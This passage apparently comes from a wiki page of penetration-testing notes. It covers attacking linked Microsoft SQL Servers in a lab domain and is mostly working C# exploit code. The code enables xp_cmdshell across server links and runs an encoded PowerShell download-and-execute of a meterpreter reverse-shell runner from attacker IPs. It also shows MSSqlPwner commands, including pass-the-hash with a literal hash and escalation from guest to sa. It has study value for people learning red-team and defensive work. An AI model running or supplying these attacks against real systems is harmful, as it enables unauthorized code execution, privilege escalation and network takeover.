            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String execCmd = &amp;quot;EXEC sp_linkedservers;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(execCmd, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Querying Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Since we know from the enumeration above that &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked to &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; we can query the linked SQL server&lt;br /&gt;
&lt;br /&gt;
* This will print the version of the linked SQL Server.&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of double quotes.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Point 2: Querying Linked Servers using OPENQUERY&lt;br /&gt;
            String queryCmd = &amp;quot;SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&amp;quot;;&lt;br /&gt;
            SqlCommand queryCommand = new SqlCommand(queryCmd, con);&lt;br /&gt;
            SqlDataReader queryReader = queryCommand.ExecuteReader();&lt;br /&gt;
            while (queryReader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server version: &amp;quot; + queryReader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            queryReader.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Executing Commands on Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Use the AT keyword to specify the linked server.&lt;br /&gt;
&lt;br /&gt;
* Example: &amp;lt;code&amp;gt;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT DC01&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of single quotes in SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Enable &#039;show advanced options&#039; through DC01&lt;br /&gt;
            String execCmd = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand execCommand = new SqlCommand(execCmd, con);&lt;br /&gt;
            execCommand.ExecuteNonQuery();&lt;br /&gt;
            // Check if &amp;quot;show advanced options&amp;quot; is enabled on DC01 using OPENQUERY&lt;br /&gt;
            String checkCmd = &amp;quot;SELECT value_in_use FROM OPENQUERY(DC01, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;show advanced options);&amp;quot;;&lt;br /&gt;
            SqlCommand checkCommand = new SqlCommand(checkCmd, con);&lt;br /&gt;
            int valueInUse = Convert.ToInt32(checkCommand.ExecuteScalar());&lt;br /&gt;
            if (valueInUse == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Command executed successfully: &#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is not enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            String enablexpcmdshell = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand enablexpcmdshell1 = new SqlCommand(enablexpcmdshell, con);&lt;br /&gt;
            enablexpcmdshell1.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.244/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
            //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
            //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            //$EncodedText&lt;br /&gt;
            string execmd = &amp;quot;EXEC (&#039;xp_cmdshell &#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand runthis = new SqlCommand(execmd, con);&lt;br /&gt;
            runthis.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* We know from above that appsrv01 has a link to dc01. We might query dc01 to see if it has any links to another SQL server. In this example we assume that appsrv01 has a link to dc01, and dc01 has a link to appsrv01.&lt;br /&gt;
&lt;br /&gt;
* If a SQL server on one machine (e.g., dc01) has a link to another (e.g., appsrv01), you can potentially use this link for privilege escalation.&lt;br /&gt;
&lt;br /&gt;
* Use the OPENQUERY keyword to execute a query on one server and inside that, execute another query on the linked server.&lt;br /&gt;
&lt;br /&gt;
To enumerate if the linked SQL server has another link, we can use the code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0].ToString());&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will use &amp;lt;code&amp;gt;OpenQuery&amp;lt;/code&amp;gt; twice. First on the linked SQL server dc01, and back again to appsrv01 to enumerate the login user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
String query = &amp;quot;select mylogin from openquery(\&amp;quot;dc01\&amp;quot;, &#039;select mylogin from openquery(\&amp;quot;appsrv01\&amp;quot;, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
while (reader.Read())&lt;br /&gt;
{&lt;br /&gt;
    Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0].ToString());&lt;br /&gt;
}&lt;br /&gt;
reader.Close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Code Exection&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Using the code below will give us code execution on &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; through &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; as the &amp;lt;code&amp;gt;sa&amp;lt;/code&amp;gt; user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static string sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
        static string database = &amp;quot;master&amp;quot;;&lt;br /&gt;
        static string conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                ListLinkedServers(con);&lt;br /&gt;
                DisplayCurrentLoginThroughDC01(con);&lt;br /&gt;
                DisplayCurrentLoginLocal(con);&lt;br /&gt;
                EnableAdvancedOptionsOnBothServers(con);&lt;br /&gt;
                EnableXpCmdShellOnBothServers(con);&lt;br /&gt;
                ExecutePayloadOnAppsrv01ThroughDC01(con);&lt;br /&gt;
                con.Close();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ListLinkedServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            string query = &amp;quot;select mylogin from openquery(dc01, &#039;select mylogin from openquery(appsrv01, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
            ExecuteReader(con, query, reader =&amp;gt; Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginLocal(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;SELECT SYSTEM_USER;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Executing as login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableAdvancedOptionsOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE;&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableXpCmdShellOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            // Enable xp_cmdshell on appsrv01 through DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            // Enable xp_cmdshell on DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        static void ExecutePayloadOnAppsrv01ThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;&#039;&#039;&#039; &#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteReader(SqlConnection con, string query, Action action)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlDataReader reader = cmd.ExecuteReader())&lt;br /&gt;
                {&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        action(reader);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteNonQuery(SqlConnection con, string query)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
                {&lt;br /&gt;
                    cmd.ExecuteNonQuery();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception ex)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Failed to execute query. Error: {ex.Message}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static bool CheckIfOptionEnabled(SqlConnection con, string server, string option)&lt;br /&gt;
        {&lt;br /&gt;
            string query = server == &amp;quot;DC01&amp;quot;&lt;br /&gt;
                ? $&amp;quot;SELECT value_in_use FROM OPENQUERY({server}, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;{option});&amp;quot;&lt;br /&gt;
                : $&amp;quot;SELECT value_in_use FROM sys.configurations WHERE name = &#039;{option}&#039;;&amp;quot;;&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                return Convert.ToInt32(cmd.ExecuteScalar()) == 1;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Automating linked SQL enum and attacks ===&lt;br /&gt;
&lt;br /&gt;
==== PowerUpSQL.ps1 ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#MSSQL_Trusted_Links Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/PowerUpSQL GitHub - NetSPI/PowerUpSQL: PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server]&lt;br /&gt;
&lt;br /&gt;
==== Evil SQL Client ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/ESC GitHub - NetSPI/ESC: Evil SQL Client (ESC) is an interactive .NET SQL console client with enhanced SQL Server discovery, access, and data exfiltration features. While ESC can be a handy SQL Client for daily tasks, it was originally designed for targeting SQL Servers during penetration tests and red team engagements. The intent of the project is to provide an .exe, but also sample files for execution through mediums like msbuild and PowerShell.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First run the .exe on target machine&lt;br /&gt;
# Find domainspns&lt;br /&gt;
SQLCLIENT&amp;gt; discover domainspn&lt;br /&gt;
# Show discovered instances.&lt;br /&gt;
SQLCLIENT&amp;gt; show discovered&lt;br /&gt;
# List links information for accessoble target SQL Server instances.&lt;br /&gt;
list links&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== MSSQL Pwner (Best tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ScorpionesLabs/MSSqlPwner GitHub - ScorpionesLabs/MSSqlPwner]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# We assume we have access to appsrv01 as a non-sa account. appsrv01 have a link to DC01. The link is bidirectional. We can use that to escalate our privileges on appsrv01.&lt;br /&gt;
python3 MSSqlPwner.py corp1.com/offsec:lab@192.168.229.6 -windows-auth interactive&lt;br /&gt;
...&lt;br /&gt;
[*] Discovered server principal: APPSRV01\Administrator on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo)&lt;br /&gt;
...&lt;br /&gt;
# Pass the hash MSSQLPwner&lt;br /&gt;
MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive&lt;br /&gt;
&lt;br /&gt;
# Set link server to DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest)&amp;gt; set-link-server DC01&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
# Execute commands. MSSQL Pwner will enable xp_cmdshell automatically if the user have rights.&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# Execute commands on appsrv01 through DC01&lt;br /&gt;
# First get the chain list&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; get-chain-list&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Chain list:&lt;br /&gt;
[*] 995f1680-2ad4-4f50-8606-47312d5b5807 - APPSRV01 (CORP1\offsec@master/guest) (CORP1\offsec guest@master)&lt;br /&gt;
[*] aacabf55-4bb6-40e3-a0ce-feb406d26b1e - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] f74445c8-4fb7-4a68-86d8-9c14cfd9470a - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa&amp;gt;I:CORP1\Administrator@master/dbo) (CORP1\Administrator dbo@master)&lt;br /&gt;
[*] 9f676285-ffe4-4a97-b7b4-f4f59e128a2f - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] c7ecd747-93cf-4978-aab2-33a8864400f1 - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (APPSRV01\Administrator dbo@master)&lt;br /&gt;
&lt;br /&gt;
# Set the chain by using the chain ID and execute a command&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; set-chain c7ecd747-93cf-4978-aab2-33a8864400f1&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# To get a shell on appsrv01 through DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec &amp;quot;powershell.exe -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&amp;quot;&lt;br /&gt;
# The encoded powershell command&lt;br /&gt;
$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
# run.txt is a powershell shellcode runner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-9.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
--------------------------&lt;br /&gt;
# From GitHub&lt;br /&gt;
# Interactive mode&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth interactive&lt;br /&gt;
# Interactive mode with 2 depth level of impersonations&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth  -max-impersonation-depth 2 interactive&lt;br /&gt;
&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method&lt;br /&gt;
